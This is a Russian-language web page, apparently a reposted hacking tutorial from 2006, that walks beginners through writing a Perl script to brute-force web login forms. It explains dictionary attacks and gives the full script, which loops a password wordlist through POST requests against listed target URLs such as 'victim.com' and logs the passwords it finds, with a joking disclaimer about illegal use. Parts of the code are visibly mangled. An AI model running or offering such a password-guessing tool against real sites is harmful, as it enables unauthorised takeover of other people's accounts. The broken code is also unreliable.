SITE LOGO
Меню сайта
Категории каталога
Кодинг новичкам [11]
Кодинг в интернете [1]
Локальный кодинг [0]
Прочее [0]
Наш опрос
Что нужно добавить на сайт?

[ Результаты · Архив опросов ]

Всего ответов: 71
Главная » Файлы » Програмирование » Кодинг новичкам

Брутфорсим web-формы с помощью Perl.
[ ] 2006-11-06, 10:10 PM
Приветствую читателей. Предполагается, что они знают азы языка Perl
(это нужно хотя бы для того, чтобы привести скрипт, код которого дан
ниже, в рабочее состояние (HackZona слегка коверкает код))
Вначале давайте разберемся: что такое брутфорс?
Это атака, суть которой заключается в том, что атакующий подбирает пароль к
чему-либо. Он делает это либо с помощью словаря (его описание см. ниже)
либо по случайно составленным комбинациям. В ручную это не делается,
особенно в последнее время, когда кроме стандартной тройки (Sex, God, Love)
начали использовать другие пароли. В переводе с английского Bruteforce
означает "грубая сила". Брутфорсом называют либо сам процесс перебора, либо
программу, предназначенную для этого. Вот о втором мы сейчас и поговорим.
В этой статье я хочу показать читателям как
написать на Perl'е скрипт, предназначенный для брутфорса web-форм. Он будет
работать только если удаленному скрипту должны быть переданы только два
параметра: имя пользователя и пароль. При необходимоcти передать скрытые поля
, цифры с картинки и т.д. брутфорс не будет работать. Еще один нюанс:
параметры удаленному скрипту должны переданы методом POST; но с этим проблем
возникнуть не должно, т.к. в основном в многих системах управления контентом
(я говорю о грамотно написанных системах) имя пользователя и пароль
передаются методом POST. Еще нам потребуется словарь паролей (можно взять на
passwords.ru), он представляет из себя файл, на каждой строке которого
записано какое-либо слово; при брутфорсе каждое слово будет использоваться
в качестве пароля до тех пор, пока не будет достигнут результат или не
закончатся слова в словаре. Также нам необходим файл, из которого наша
программа будет получать информацию. Программа будет вести брутфорс всех
скриптов указанных в файле. Информация об одном скрипте должна занимать
одну строку, разделяться набором символов "" (без кавычек) и выглядеть
так:
URL_скрипта_обязательно_с_http://_в_началелогинназвание_переменной_
логинаназвание_переменной_паролясообщение_об_ошибке
Сообщение об ошибке - это информация, которую выводит удаленный скрипт, в
том случае, если пользователь ввел неправильный пароль. Еще нужен файл,
в который будут записываться результаты. Итак, поехали. Предполагается, что
читатель знает основы языка.

#/usr/bin/perl
# это формальность
# 5p4x2knet a.k.a. Apocalyptic's brutforcer for web-forms.
# only for this article
# это тоже :)
if(@ARGV != 3) #если пользователь не указал параметры
{
die "use:
script_name file_with_information file_with_passwords file_for_results
for examle:
brut.pl infa.txt paroli.txt results.txt
file with passwords: one string = one pass
file with information: one string = remote_script_urlloginlogin_post_variablepassword_post_variablefailed_message
for examle:
http://victim.com/index.phpbillgateslogin_varpass_varError!Incorrect pass.";
#говорим, как надо делать и выходим
}
use LWP::UserAgent;
#подключаем необходимый модуль
open(INFA, ";
close(INFA);
#открываем файл с информацией(или говорим, что не можем его открыть и
#выходим); скидываем файл в массив @info и закрываем.
open(PASS, ";
close(PASS);
#то же самое с файлом паролей
open(RESULTS, ">>$ARGV[2]");
#открываем файл для записи результатов (дозаписи в конец). Ранее мы
#открывали файл для чтения
foreach $name (@info) #начинаем цикл
{
($url, $login, $log_vr, $pwd_vr, $failed) = split(//, $name);
#разделяем URL, логин, переменные и сообщение об ошибке
print "$url...n";
#выводим URL
foreach $pss (@pass)
{
#делаем еще один цикл
$pss =~ s/ //;
$pss =~ s/n//;
#убираем из пароля пробулы и переводы строки
$usagent = LWP::UserAgent->new();
#новый объект
$req = HTTP::Request->new(POST=>$url);
$req->content_type('application/x-www-form-urlencoded');
$req->content("$log_vr=$login&$pwd_vr=$pss");
#создаем запрос.
$result = $usagent -> request($req);
#отправляем его
$res = $result->content;
#записываем результаты в переменную
if($res!~ /$failed/i)
{
#если нет сообщения об ошибке
print "password found. It isn$pssnn";
print RESULTS "URL: $urlnLOGIN: $loginnPASS: $pssnn";
last;
#выводим сообщение с паролем; записываем все в файл с результатами;
#в противном случае подбор продолжится
}
}
}
close(RESULTS); #закрываем файл с результатами
Разумеется, я не несу ответственности за применение статьи в незаконных
целях))
Вот, мы и написали брутфорсер для web-форм. Читатель может
экспериментировать с ним, дополнять, изменять. Только не смешивай его с
другими программами - это не UNIX-way =).
Категория: Кодинг новичкам | Добавил: bshack
Просмотров: 2822 | Загрузок: 0 | Комментарии: 2 | Рейтинг: 0.0/0 |

Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа
Поиск
Друзья сайта
Статистика
Copyright MyCorp © 2024Сайт управляется системой uCoz